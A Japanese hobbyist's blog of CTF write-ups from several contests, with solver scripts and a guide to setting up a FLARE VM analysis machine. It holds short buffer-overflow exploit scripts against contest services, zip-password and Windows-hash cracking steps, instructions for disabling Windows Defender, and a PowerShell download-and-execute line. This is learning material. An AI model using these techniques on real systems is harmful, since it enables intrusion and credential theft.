picoCTF 2021 writeup

今回はyarakashikosenで参加しました(何もやらかしてないです)

チームでの総得点は1950で398位(今回は母数が多いので母数は無視)

個人では1010(多分)獲得しました。

以下解けた問題のwriteupを書いていきたいと思います。

Genaral skills

Obedient Cat (5pt)

配布ファイル : flag

$cat flag 

flag : picoCTF{s4n1ty_v3r1f13d_1a94e0f9}

Wave a flag (10pt)

配布ファイル : warm

$chmod +x warm 

$./warm -h

flag : picoCTF{b1scu1ts_4nd_gr4vy_616f7182}

Nice netcat... (15pt)

nc mercury.picoctf.net 7449

確かこれにアクセスすると数字をたくさん得ました。

112はord("p")なのでフラグのASCII codeな気がします。直してみます

solve.py

num=[112,105,99,111,67,84,70,123,103,48,48,100,95,107,49,116,116,121,33,95,110,49,99,51,95,107,49,116,116,121,33,95,102,50,100,55,99,97,102,97,125,10]

for i in num:
    print(chr(i),end="")

flag : picoCTF{g00d_k1tty!_n1c3_k1tty!_f2d7cafa}

Static ain't always noise(20pt)

配布ファイル : ltdis.sh, static

$ chmod +x ltdis.sh

$ chmod +x static

$ sh ltdis.sh static

$ rg pico 

flag : picoCTF{d15a5m_t34s3r_f5aeda17}

これよく分からないまま解けてしまった。

Tab, Tab, Attack(20pt)

配布ファイル : Addadshashanammu.zip

$ unzip Addadshashanammu.zip

$ cd Addadshashanammu/Almurbalarammi/Ashalmimilkala/Assurnabitashpi/Maelkashishi/Onnissiralis/Ularradallaku

(補完されたから一発で行けた)

$ chmod +x fang-of-haynekhtnamet

$ ./fang-of-haynekhtnamet

flag : picoCTF{l3v3l_up!_t4k3_4_r35t!_6f332f10}

Magikarp Ground Mission(30pt)

f:id:Bigdrea6:20210401082737p:plain

途中でちょっと無駄なことしてますが、やることはこれだけです。

flag : picoCTF{xxsh_0ut_0f_\/\/4t3r_3ca613a1}(このままでよかったか忘れた)

 

genral skillsは1問だけ解けなかった。チームメイトが解いてくれました。

Crypto

Mod 26(10pt)

暗号化されたフラグ : cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_jdJBFOXJ}

ぱっと見た感じシーザー暗号です。

cyberchefに投げました。rot13でフラグゲット

flag : picoCTF{next_time_I'll_try_2_rounds_of_rot13_wqWOSBKW}

Mind your  Ps and Qs(20pt)

配布ファイル : value

問題文にあるとおり、Nが小さいと(ツールを使うと)簡単に素因数分解できます。

factordb.com素因数分解しましょう。

solve.py

import gmpy2,binascii

n = 1584586296183412107468474423529992275940096154074798537916936609523894209759157543
e = 65537
p = 2434792384523484381583634042478415057961
q = 650809615742055581459820253356987396346063
c = 964354128913912393938480857590969826308054462950561875638492039363373779803642185

d = gmpy2.invert(e,(p-1)*(q-1))

m = pow(c,d,n)
print("\n")
print("m="+str(m))

flag = binascii.unhexlify(format(m, 'x')).decode()

print("FLAG: {}".format(flag))

flag : picoCTF{sma11_N_n0_g0od_73918962}

New Caeser (60pt)

配布ファイル : new_caeser.py

暗号化されたフラグ : ihjghbjgjhfbhbfcfjflfjiifdfgffihfeigidfligigffihfjfhfhfhigfjfffjfeihihfdieieih

まず問題文を読んで注意すべきことは、このフラグは中身だけということですね。

ソースを読むと、assertからkeyはa~pの内の一文字であることが分かります。

次に、b16_encode, shiftを見てその逆のことをするソルバを書きます。

ここで、keyの半分総当り的なことをすることになりますが、暗号化されたフラグが79文字なので、もとのフラグは39文字であることにも注意します。

solve.py(コード汚くてごめんなさい)

import string

for i in range(16):
    key=chr(97+i)
    print("key=",key)
    print()
    alf = string.ascii_lowercase[:16]
    flag="ihjghbjgjhfbhbfcfjflfjiifdfgffihfeigidfligigffihfjfhfhfhigfjfffjfeihihfdieieih"

    def shift(kari,t2):
        kari=ord(kari)-97
        t2=ord(t2)-97
        t1=16+kari-t2

        if t1<0:
            t1=32+kari-t2
            return t1
        elif t1>15:
            t1=kari-t2
            return t1
        else:
            return t1

    t1=[]
    for i,c in enumerate(flag):
        t1.append(shift(c,key[i%len(key)]))

    print("flag=",end="")
    for i in range(0,len(t1),2):
        bin_f="{0:04b}".format(t1[i])
        bin_b="{0:04b}".format(t1[i+1])
        bin=bin_f+bin_b
        print(chr(int(bin,2)),end='')
    print()

key=cのとき、それっぽい内容になりました。文字数も一致していたので正解だと思いました。

flag : picoCTF{et_tu?_0797f143e2da9dd3e7555d7372ee1bbe}

Mini RSA (70pt)

配布ファイル : ciphertext

問題文の通り調べます。rsa small e的な感じで

いろんなwriteiupがあります。コードを拝借しました。

solve.py

c, nは長いのでここに書くのはやめます。

import gmpy2, binascii
# c=
# n=
e = 3

me = c + n

m,result = gmpy2.iroot(me,e)
i=1

while (result != True):
    i+=1
    me=c+(n*i)
    m,result=gmpy2.iroot(me,e)
    print("count: ",i)
    print("c+(n*{})={}".format(i,me))

print("m: ",m)
print(binascii.unhexlify(format(m, 'x')).decode())

flag : picoCTF{e_sh0u1d_b3_lArg3r_60ef2420}

 

cryptoはいつものことだけどこう既出の問題しかとけてないので、既出じゃないやつとかもコードを読んでしっかり解けるようにしたい。(数学もやらなきゃね)

Web

Scavenger Hunt(50pt)

url : http://mercury.picoctf.net:5080/

この問題フラグは5つのパートに別れています。それぞれのファイルを見に行って集めるという形でした。

・part 1 : index.html

developer toolで見ました。末尾にフラグが有ります。

picoCTF{t

・part 2 : mycss.css

同じです。

h4ts_4_l0

・part 3 : robots.txt

myjs.jsにヒントがあったみたいですが、気づかずとりあえず訪れるとありました。

t_0f_pl4c

・part 4 : .htaccess

ここから知らないものだったので時間がかかりました。robots.txtに書いてあったヒントを理解できなかったので、変な解き方をした気がします(多分)。

$dirb http://mercury.picoctf.net:5080

結果は既出のpart1,3そしてそれに加えて.htaccessでした。

訪れるとフラグを得ます。

3s_2_lO0k

・part 5 : .DS_Store

.htaccessのヒントをもとに調べるとこれを見つけました。

訪れると最後のパートをゲットします。

_35844447}

flag : picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_35844447}

 

webはこの1問だけです。チームメイトには申し訳ない。

Rev

Transformation(20pt)

配布ファイル : enc

配布コード : ''.join([chr( (ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])

encにはコードによって暗号化?されたフラグがあります。

全部コード書けばよかったんですが、なぜか半分人力でやりました。

まず、encをすべてASCII codeに戻します。コードからencの1文字はフラグの2文字で構成されていることは分かります。なので逆のことをしていけばいいです。

encの頭4文字は"picoCTF{"なので触れなくていいと思います。

まずフラグの1文字目を適当にord("適当な文字")<<8をして対応するencのASCII codeに近づけます。そして、encと1文字目の差が2文字目のASCII codeなのでこれでフラグが分かります。残りすべてこれをしていけばいいです。

flag : picoCTF{16_bits_inst34d_of_8_75d4898b}

 

revもこの1問だけです。revをしたいと思っているのでこの結果を踏まえてもっと精進したいと思います。解けなすぎた

Forensics

なんで得点の主成分がこれなんだ...

infomation(10pt)

配布ファイル : cat.jpg

file形式はjpgだったので、exiftoolを使って見てみます。

Licenseがbase64ぽいです。

License : cGljb0NURnt0aGVfbTN0YWRhdGFfMXNfbW9kaWZpZWR9

デコードするとフラグを得ました。

flag : picoCTF{the_m3tadata_1s_modified}

Matryoshka doll(30pt)

配布ファイル : dolls.png

file形式はpngでした。exifにめぼしい情報はありません。

binwalkで見ると違うpngを発見しました。

$ binwalk -e dolls.png

$ cd _dolls.png.extracted/base_images

またbinwalkで見ていきます。2_cから3_c。そして4_c

4_c.pngからはflag,txtを手に入れれました。

$ cat flag.txt

flag : picoCTF{4cf7ac000c3fb0fa96fb92722ffb2a32}

この中身ってなんか意味あるのかな。

tunn3l v1s10n(40pt)

配布ファイル :tunn3l_v1s10n

file形式はdata

$ hexdump -C tunn3l_v1s10n | head

bmpっぽい。手元に違うbmpがあったので見比べてヘッダの修正

00000000  42 4d 8e 26 2c 00 00 00  00 00 ba d0 00 00 ba d0  |BM.&,...........| #修正前
-------------------------------------------------------------------------------------
00000000  42 4d 8e 26 2c 00 00 00  00 00 36 00 00 00 28 00  |BM.&,.....6...(.| #修正後

 この状態で得られたbmpはこちら

f:id:Bigdrea6:20210401104527p:plain

まだなようです。

そこで、高さを編集しました。とりあえず幅の1134に合わせました。

すると

f:id:Bigdrea6:20210401112009p:plain

フラグを手に入れました

flag : picoCTF{qu1t3_a_v13w_2020}

解いてる最中tunnel visionを「てめえ頭かてえよ。違う見方しろよ」って意味かと思ってたんですが単純に視野がせまいということだったんですね。

Weird 

picoGymになかったので問題名は自分のフォルダにつけてた名前です。

配布ファイル : weird.docm

問題の横にあるヒントを読むと、使うべきツールが示してあります。

インストールしましょう

$ oleva -c weird.dcom

base64っぽいものが見えました。(ホントはpythonのコード読むべきだろうけど)

decodeするとフラグを手に入れます

flag : picoCTF{m4cr0s_r_d4ng3r0us}

Wireshark doo dooo do doo...(50pt)

配布ファイル : shark1.pcapng

まずはstringsで見てみます。

$ strings shark1.pcapng | grep pico

何もないです。そんな簡単じゃねえよという問題の意思を感じます。

wiresharkで開いて適当にtcp streamを眺めていたら、明らかにフラグっぽいものを見つけます。

HTTP/1.1 200 OK
Date: Mon, 10 Aug 2020 01:51:45 GMT
...

Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}

(tcp.stream eq 5より)

原型はとどめているのでシーザーでしょう。

rot13でフラグを手に入れました。

flag : picoCTF{p33kab00_1_s33_u_deadbeef}

MacroHard WeakEdge(60pt)

配布ファイル : Forensics is fun.pptm

関係ないけど、個人的にファイル名に空白使うの嫌だ。

macroとあるので、weirdと同じかと思い、olevatoolを使ってみる。

$ oleva -c Forensics_is_fun.pptm

結果は

olevba 0.56 on Python 3.8.6 - http://decalage.info/python/oletools
...
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub not_flag()
    Dim not_flag As String
    not_flag = "sorry_but_this_isn't_it"
End Sub

 違うよう。ここで結構詰まって時間を溶かしてしまった。

初心にかえる。ワードやパワポの別の形はzipなので、やってみる。

$ unzip Forensics_is_fun.zip

$tree

ppt/slideMastersにhiddenというファイルが。怪しい

$ cat hidden

パット見では気づかなかったが、base64のよう。decodeしてみる。

フラグを手に入れた。

flag : picoCTF{D1d_u_kn0w_ppts_r_z1p5}

weirdの時に、誘導で解いたから気づかなかったが、macro(vbaProject.bin)はこの方法でも見つけれたのでこれをしていればすっと行けたのかなと思う

Trivial Flag Transfer Protocol(90pt)

配布ファイル : tftp.pcapng

tftpと言われているので、絞って見るといろんなデータがある。

手元に持ってくる。 File -> Export Objects -> tftp... -> save all

ファイルは以下の6つ

instructions.txt, picture(1~3).bmp, plan, program.deb

picture1~3はいずれもbmpだった。2がちょっと変だったけど、firefoxで見ればちゃんと見れた。

program.debは開くとsteghideというものが見える。つまり、これで1~3になにか隠したということが分かる。

instructions.txt, planはどちらもテキストファイル。開くとよくわからない文字。とりあえず、rot13してみる。なんか読めそう。

GSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA

TFTP DOESNT ENCRYPT OUR TRAFFIC SO WE MUST DISGUISE OUR FLAG TRANSFER.FIGURE OUT AWAY TO HIDE THE FLAG AND I WILL CHECK BACK FOR THE PLAN (rot13)

 instructions.txt

 VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF

I USED THE PROGRAM AND HID IT WITH-DUE DILIGENCE .CHECK OUT THE PHOTOS (rot13)

 plan

自分で区切ってしまったことで、変な区切りになってしまい"due diligence"がよくわからなくなっていた。しかし、改めて見直すとWITH-DUEDILIGENCEである。passがこれと言っていることが分かった。1~3にやっていく。

$ steghide --extract -sf picture3.bmp

flag.txtが出てきた。

$ cat flag.txt

フラグを手にいれた。

flag : picoCTF{h1dd3n_1n_pLa1n_51GHT_18375919}

Disk, disk, sleuth!(110pt)

配布ファイル : dds1-alpine.flag.img.gz

とりあえず解凍

$ gzip -d dds1-alpine.flag.img.gz

srch_stringsを使う。

$ srch_strings dds1-alpine.flag.img | grep pico

flag : picoCTF{f0r3ns1c4t0r_n30phyt3_dcbf5942}

Milkslap(120pt)

url : http://mercury.picoctf.net:48380/

マウスポインターの動きに合わせて写真が動くサイト。

とりあえず、この写真を手元に持っていく。(これ競技中、結構途中で通信切れたけど、人多かったからかな?)

$ wget http://mercury.picoctf.net:48380/concat_v.png

exiftも何もなさそう。知ってるstegoのツールを順番に使っていった。

(stegsolve.jarとか、binwalkもとりあえずしてみた)

正解はzstegでした

$ zsteg -a concat_v.png

フラグを手に入れました

flag : picoCTF{imag3_m4n1pul4t10n_sl4p5}

Disk, disk, sleuth! II(130pt)

配布ファイル : dds2-alpine.flag.img.gz

先程と同様にとりあえず解凍

$ gzip -d dds2-alpine.flag.img.gz

srch_stringsを使うけど何もなさそう。

このファイル形式でwriteupを探していると適している記事を見つけた。

qiita.com

やって行きましょう

$ fls -o 2048 -r dds2-alpine.flag.img

down-at-the-bottom.txtが怪しそうです。

$ fls -o 2048 -r dds2-alpine.flag.img | grep down-at-the-bottom.txt

+ r/r 18291: down-at-the-bottom.txt

icatで抽出します。

$ icat -o 2048 -r dds2-alpine.flag.img 18291 > down-at-the-bottom.txt

$ cat down-at-the-bottom.txt

見にくいですが、フラグを手に入れました。

flag : picoCTF{f0r3ns1c4t0r_n0v1c3_ff27f139}

 

forensicsは10/13解いたので、この分野は全完したかった(waveとhiddenはきつそうだけど)。wire twoもほぼ解けてたから、解きたかった。

 

Winja CTF 2021

久々に一人で参加した。最終結果は53/112だけど、トップがずば抜けてその後って感じなので渋い。

問題の出し方がおもしろかった。

f:id:Bigdrea6:20210306204826p:plain

建物とかをクリックすると問題が現れる。ただ見づらい

解けたやつ二問と途中までいったやつ二問を書く。

Hazzy(250pt)

chal.gifが渡される。数字がたくさんでてくるので、静止画に直して順番に書き出していく。

オンラインでGIFをJPGに変換

数字が25までなので、26文字のアルファベットに当てはめていけばいいことが分かる。

適当にコードでも手作業でもいいから直す。

#solve.py (python3)
num=[15,13,7,19,15,6,21,14,14,25,12,15,12] al="abcdefghijklmnopqrstuvwxyz" print("flag{Hazzy",end="") for i in range(len(num)): print(al[num[i]-1],end="") print("}")

flag : flag{Hazzy_omg_so_funny_lol}

(最後に"?"あったかも。忘れた)

これ、"_"を自分でいい感じに入れなきゃいけないのは良くないと思う。

 

Crucial First Aid(300pt)

パスつきのzipが渡される。johnとhashcatを使いましょう。

なんかもろもろのアップデートでgpuとhashcatの紐づけが壊れてて、それを直すのに時間を食われた。ctf中にやることではなかった。

$ ./zip2john -o patient_imp_data.png imp_patient_data.zip | cut -d ":" -f 2 > patient.hash

$ hashcat -m 17220 -a 3 -w 4 patient.hash

$ hashcat -m 17220 -a 3 -w 4 patient.hash --show

passは2611。

解凍すると、画像二枚を手に入れる。data1の方をstringsで見るとflagがある。

flag : flag{crucialfirstaid_you1_f0und_Me}

 

二枚画像あるのでサブのフラグありそうだったけど諦め。

 

途中まで?いったやつ。flagを得ないと問題がわからないので、問題はぽいやつを書いておく。

Bank api(200pt)

encrypt.phpを見に行くと画像がある。このクレジットカードの名前と番号を用いて、login.phpのfogot passwordのパスワード変更を行う。

そしたら、ヒントのpythonファイルをもらえる。

#!/usr/bin/env python

f1 = open('f1.txt').read()
f2 = open('f2.txt').read()

message = []
for i in range(len(f1)):
	if( f1[i] == f2[i] ):
		message.append(f1[i])

print (message)

ここでつんだ。

 

Hexcode(100pt)

pdfが埋め込まれているのでそれをダウンロードする。

これにはpassがかかっているのでcrackしようとこころみた。しかし7文字以上あるようなので、諦める。

ファイル名で調べると明らかに4要素の内、一つの要素だけ名前に含まれていないので、これがパスだろうとあたりをつけて解凍した。解凍すると、マンチェスターユナイテッドとか16進数っぽいのが並んでたりした。

タイムあっぷ。

FLARE VMの導入

今回、この環境を作る際に手間取ったのでまとめておく

環境は

VM ware (version 16.1.0?) にWindows 10

まずはインストール

githubからflarevmのインストール。cloneでもなんでも

github.com

これを適当な場所に保存する。

・Autorunsをインストール

docs.microsoft.com

これはWindowsのもろもろのセキュリティ保護をなくすために使う。

・chocolatelyのインストール

chocolatey.org

実際にやっていこう

install.ps1を実行させる前に、いろいろする。

まずは先程のAutoruns

windowsのリアルタイム保護をリセットする

設定 > 更新とセキュリティ > windowsセキュリティ > ウイルスと脅威の防止

> 設定の管理 > リアルタイム保護(これをオフにする)

 

・Autoruns64.exeの実行

管理者権限で実行 > Option > "Hide Empty Locations"以外のチェックを外す

> 検索欄に"Windows Defender"を入力 > "PolicyAgent"以外のチェックを外す

※これを実行すると、Microsoft Storeなどが利用できなくなるのでインストールしようと思っているものは予めしておくべき(この設定をもとに戻せば使える)。

再起動しましょう。

 

いよいよやっていきます。

Powershellの実行

管理者権限で実行します。

> Set-ExecutionPolicy Unrestricted
> . { iwr -useb http://boxstarter.org/bootstrapper.ps1 } | iex; get-boxstarter -Force

次に先程、flare-vmをおいた場所に移動します。install.ps1がある場所まで潜って

> .\install.ps1

この後、passwordを聞かれます。このpassはwindowsにログインする時に使用するものです。

install.ps1が実行されている間、何回か再起動されます。その際に自分で打たずにログインするために使われます。

ここからは長いです。とても長いです。いろいろエラーが出てたりしますが、基本大丈夫です。

...
type ENTER to exit:

これが出れば終わりです。enter押して、再起動しましょう。

再起動して背景が変わっていなければ、install.ps1が正常に動ききらなかったようです。

もう一度実行して下さい。すでにinstallされているものは飛ばされていきます。

 

最後にインストールしたやつのアップデートをします。

> cup all

 おわり

このwindowsはもうセキュリティ保護がないのですっぽんぽんです。危ないので、自宅などのネットには繋がないように、Host-onlyにしときましょう(特に解析する際は)

ちょっとした復習?

はじめに

過去のCTFの問題を眺めて、自分が気になった問題(解法を見たやつもある)をまとめてみた。前にブログに書いてないやつだけです。

本当に独断なので、そこはご了承下さい。

Peter Rabbit(nahamcon ctf 2020)

この問題の画像

f:id:Bigdrea6:20201231130133p:plain

これはPietっていうプログラム言語らしいです。

ja.wikipedia.org

他にも難解プログラミング言語とかを調べてみると、Grassとかおもしろいのがいろいろあった。実際にCTFで見たことあるやつもいくつかあった。

Gatekeeper(Trendmicro CTF 2020)

gatekeeper.exeが配布されます。fileコマンドでみると32bitのexeです。

ghexで覗くと__main__などのpythonのプログラムのようなものが見られます。

exeからpython(pyc)は取り出すことができます。

github.com

これでとりだして、いろいろすればflagが取れます。2回目の復習だったのでサクサク解けました。

この問題ですごいなと思ったのはpythonのファイルをexe化できることと、それを抽出できることでした。

Maruware(sckosen 2020)

Maruare.exeが配布されました。fileでみると、".Net"というのが見れます。これが書いてあるexeはdnspyやilspyというデコンパイルツールで見ればいいということを教えてもらいました。また、なんでそうなのかというのも教えてもらって、すげーと思った。

間違えてるかもしれないけど、教えてもらって覚えてることをメモっとく。

「.NETはC#で書かれているということを示していて、このプログラムは中間なんちゃらにコンパイルされる。で、dnspyとかilspyはそれのデコンパイルに特化した性質を持っているから、これで見ると見やすい」

とかだったはず。この件だけじゃないけど、やっぱり先輩は偉大だなと感じました。

問題名忘れた(XmasCTF 2020)

配布された画像は二つ。

              f:id:Bigdrea6:20201231133719j:plain            f:id:Bigdrea6:20201231133716j:plain

これはstegseekというものを使えば解けたらしい。
このstegseekというのがすごくて、steghideではpassとかがなかったら解けないんだけどこれはそのsteghideのクラッカーっていう。

github.com

すごいね。

番外編(このツールすごいっていうやつ)

sherlock

これはtwitterとかfacebookとかアカウント名があるアプリすべて(すべてではないかも)に対して、指定したアカウント名があるかを検索してくれるツール。

github.com

最後に

この他の問題でも勉強になるものばかりでした。CTFを開催してくれる方々には感謝しかありません。来年も精進していきたいと思います。

 

WaniCTF writeup

WaniCTFに参加しました

twitterで見かけた初心者CTFに参加しました。僕が言うのもなんですが、良問が多くて楽しかったです。revは全完したかった。webは全く解けませんでした。精進していきたいと思います。

今回は僕が解いた問題の中でsolve数が100人以下のやつを書いていきたいと思います。

exclusive (crypto 101pt 96solved)

配布ファイル encrypt.py , output.txt

xorを取っているので、output.txtと"FLAG{"でもう一回xorするとkeyがでてきます。ABCABだったので"ABC"をいっぱい繰り返してoutput.txtとxorすればいいとわかります。以下、コードです。

key="ABCABCABCABCABCABCABCABCABCABCABCABCABCABCABCABCABCABCABC"

f=open('output.txt','r')
fake=f.read()
print(fake)
f.close()

flag=""
for i in range(len(fake)):
    flag+=chr(ord(key[i])^ord(fake[i]))
print(flag)

flag : FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}

Basic RSA (crypto 102pt 76solved)

nc rsa.wanictf.org 5000

解いて行くだけです。一個目がp*q(=n)して二個目がpow(m,e,n)して三個目がコードを書いて解きました。以下、コードです。

import gmpy2,binascii

n = int(input('n:'))
e = int(input('e:'))
p = int(input('p:'))
q = int(input('q:'))
c = int(input('c:'))

d = gmpy2.invert(e,(p-1)*(q-1))

m = pow(c,d,n)
print("\n")
print("m="+str(m))

flagは忘れました。

ALLIGATOR_01 (forensics 102pt 83solved)

配布ファイルALLIGATOR.zip

volatilityを使います。

$ volatility -f ALLIGATOR.raw  imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86

imageinfoでOSの情報などを調べます。今回はWin7SP1x86_23418です。

次に、pstreeを使います。メモリダンプを採った時点でのプロセス一覧が取得できます。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 pstree | grep evil
Volatility Foundation Volatility Framework 2.6
. 0x84dd6b28:evil.exe  

これで終わりです。

ALLIGATOR_02 (forensics 102pt 76solved)

consolesでコマンドの実行履歴が見れます。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles | grep -n -3 flag
Volatility Foundation Volatility Framework 2.6
31-CommandCount: 1 LastAdded: 0 LastDisplayed: 0
32-FirstCommand: 0 CommandCountMax: 50
33-ProcessHandle: 0x5c
34:Cmd #0 at 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt
35-----
36-Screen 0x3363b8 X:80 Y:300
37-Dump:
38-Microsoft Windows [Version 6.1.7601]                                            
39-Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
40-                                                                                
41:C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt                     
42-FLAG{y0u_4re_c0n50les_master}                                                   
43-C:\Users\ALLIGATOR>

以上です。

ALLIGATOR_03 (forensics 104pt 58solved)

配布ファイル wani_secret.zip

systemのアドレスと、samのアドレスを知るために以下のコマンドを書きます。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual    Physical   Name
---------- ---------- ----
0x96833008 0x29f35008 \??\C:\System Volume Information\Syscache.hve
(いろいろある
0x8781a008 0x28349008 \REGISTRY\MACHINE\SYSTEM (これと)
(いろいろある
0x93791458 0x1d940458 \SystemRoot\System32\Config\SAM (これ)
0x937b79c8 0x248899c8 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat
(いろいろある

次にこの2つのアドレスを教えてあげてhashをダンプします。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hashdump -y 0x8781a008 -s 0x93791458 > hash.txt

 hash.txtの中身を見てALLIGATOR: ... :5e ... :::の5eからをコピペして次のサイトに投げます。

crackstation.net

それを使ってzipを解凍すればいいです。

var rewrite (pwn 101pt 94solved)

配布ファイル pwn02, pwn02.c

この問題ずっとBOFしてたんですがstackの書き換えだったということに気づいて、問題の読み間違いはいけないなぁ。と思いました。BOFがうまく行かなかったのは、多分この次の次のpwnと一緒でアライメントが関係しているのかなとか思ってました。

以下コードを書きます。

from ptrlib import *
import struct

sock=Socket("var.wanictf.org",9002)
#sock=Socket("localhost",8888)
elf=ELF("./pwn02")

sock.recvuntil("What's your name?:")

payload=b"A"*10
payload+=struct.pack('<L',0x494e4157)
sock.sendline(payload)

sock.interactive()

#from Crypto.Util.number import *
#print(bytes_to_long(b"WANI"))これの反転

 

binsh address (pwn 102pt 71solved)

これは、binshのアドレスを求めよという問題でした。毎回最初にアドレスをもらって、それを使って計算するだけです。stringsいまいち分からなかったのでradare2で見ていきました。mainにstr_headのアドレスがあります。0x202010。次に、sym.vulnに/bin/shのアドレスがあります。0x202020。この差は0x000010なので、最初にもらえるアドレスにこの値を足せばいいことがわかります。適当に別のタブでpythonでも開いて計算しましょう。

ret rewrite (pwn 103pt 62solved)

これは前述したように構造はvar rewriteとほぼ一緒でした(多分)。

問題文にあるように、アライメントが少し悪さをしますよと。

なので、rp-lin-x64 --file=pwn05 --rop=1 --unique | grep "ret" をして 0x00400696: ret ; (13 found)のアドレスと一緒に書き込んでやります。これ最近、部活でやったので役に立ったなぁと思ってました。

以下にコードを書きます。

from ptrlib import *
sock=Socket("ret.wanictf.org",9005)
elf=ELF("./pwn05")

sock.recvuntil("What's your name?:")
payload=b"A"*22
payload+=p64(0x00400696)
payload+=p64(elf.symbol("win"))

sock.sendline(payload)

sock.interactive()

 

simple (rev 101pt 90solved)

とりあえずfileコマンドで見るとelf 64bitということが分かります。実行して適当にghidraでデコンパイルします。angrを使ってやれば終わりです。以下にコードを書きます。

import angr

project = angr.Project("./simple", auto_load_libs=False)

@project.hook(0x400876)
def print_flag(state):
  print(state.posix.dumps(0))
  project.terminate_execution()

project.execute()

 

complex (rev 111pt 32solved)

一緒です。hookするアドレスを変えて実行しましょう。

感想

webが解けなさすぎた。もっとちゃんとコード読みます。

テスト開けたらrevのstatic復習したい。volatilityは使って見たかったので楽しかった。次はgdbのもっと深い使い方を勉強したい。

KOSEN セキュコン2020(sckosen)

KOSENセキュコンに参加しました

今年もこの季節になりましたね。ctf_predatorというteamで出ました。player nameはBigdrea6。この名前でのsolveは0。なぜならスコアサーバに接続できなかったから。soni6、isseaは出て偉い!naoppyは遅刻だめ。(リーダーだったから少しえらそうにしてもいいよね...)

前回から成長をまったく感じられませんでした。writeup書くほどの問題ではないですが、来年これ見て、今年こそ頑張ろうと思えるように書いときたいと思います。(出るかわからないけど)

足し算しよう(programing 50pt)

単純にコード書くだけですね。

ans=0
for i in range(1000,10001):
    ans=ans+i
print(ans)

flag : FLAG{49505500}

Find1(forensics/stego 100pt)

配布ファイル : Find1.tar.gz

bmpファイルを探さないといけないので、

$ tar -xvf Find1.tar.gz

$ cd Find1

$ file * | grep bitmap

flag : FLAG{Celestial_Method}

docxのもう一つの顔(forensics/stego 50pt)

配布ファイル : you_and_ctf.docx

おなじみですね。fileをzipに変えて、unzipすると、壊れていない画像が見つかります。

flag : FLAG{ALT+I+P+W}

ホストの台数(network 50pt)

最近、情報工学概論でやりましたね。

flag : FLAG{62}

一時停止(binary 50pt)

配布ファイル : File.zip

unzipするだけ。後は動画適当に止めよう。

flag : FLAG{CEwm6E9k}

 

以上。解いてるの少なすぎw

binary2問はもう少しで解けた。力不足を痛感。KOSENセキュコンは普通のCTFと少し違うから、いろんな意味で学ばされた。運営もうちょっとね...(結局は解けてないから何も言えない)

追記

デバッガ(binary 200pt)解けてました。が、flagの打ちミスで解けてないと勘違いして一生さまよってました(これも全てはスコアサーバに繋がらなかったせい)。これやっぱり、実行した時に出てくるflagが答えだったんか...(だめじゃん)

SunshineCTF 2020

SunshineCTF 2020に参加しました

最近ちょこちょこctfやってて、割と解けたので書きたいと思います。bodhiで参加して最終的には233ptsで156位とかだった気がする。あんまり覚えていない。今回はspeedrun3問とrev1問書きます。revはもう友達が解いてくれていたのに、間違えてといてしまった。speedrun(pwn)は知識がないので調べながらやったため、おかしいところもあるかもしれません。

speedrun-00 (10pts)

配布されたファイル chall_00

まずfileコマンドで見ると64bitのelfであることが分かります。適当に実行して、ghidraでデコンパイルします。main部を見ます。getsの後にifで比較しています。なので、オーバーフローさせて、要素を書き換えてあげるといいことがわかります。スタックバッファオーバーフローですね。(あってる?)

以下にコードを書きます。

from ptrlib import *
import struct

sock=Socket("chal.2020.sunshinectf.org",30000)
elf=ELF("./chall_00")

sock.recvuntil("This is the only one")

payload=b"A"*56
payload+=struct.pack('<L',0xfacade)

sock.sendline(payload)

sock.interactive()

 このあとls -aしてcat flag.txtして終わりです。

speedrun-02 (10pts)

配布されたファイル chall_02

01は解けなかったので02に逃げちゃいました。00と同じくfileコマンドで見ると32bitのelfであることがわかります。ghidraでデコンパイルしてmain部を見ます。fgetsした後、vuln関数を呼び出しています。vuln関数ではgetsをして終わりです。なので、まずはfgetsに適当に文字を入れて、vuln関数に行った後でオーバーフローさせればいいことがわかります。オーバーフローさせてwin関数に行くといろいろできます。(これをshellを奪うっていうのかな?)

以下にコードを書きます。

from ptrlib import *

sock=Socket("chal.2020.sunshinectf.org",30002)
elf=ELF("./chall_02")

sock.recvuntil("Went along the mountain side.")

payload=b"A\n"
payload+=b"A"*62
payload+=p32(elf.symbol("win"))

sock.sendline(payload)

sock.interactive()

このあとls -aしてcat flag.txtして終わりです。

speedrun-04 (10pts)

配布されたファイル chall_04

4は2と一緒です。単純にelfが32から64bitに変わっただけです。

以下にコードを書きます。

from ptrlib import *

sock=Socket("chal.2020.sunshinectf.org",30004)
elf=ELF("./chall_04")

sock.recvuntil("Like some kind of madness, was taking control.")

payload=b"A\n"
payload+=b"A"*56
payload+=p64(elf.symbol("win"))

sock.sendline(payload)

sock.interactive()

 

Hotel Door Pazzle (100pts)

配布されたファイル  hotel_key_puzzle

fileコマンドで見ると、64bitのelfであることがわかります。これもghidraでデコンパイルして見てみるとmainでいろいろ言った後、check_flagで見ていることがわかります。check_flagを見に行くと、内容はやばいですね。でも僕は嬉しかったです。最近勉強したangrが使えるからです!

以下にコードを書きます。

import angr

project = angr.Project("./hotel_key_puzzle", auto_load_libs=False)

@project.hook(0x4022ba)
def print_flag(state):
  print(state.posix.dumps(0))
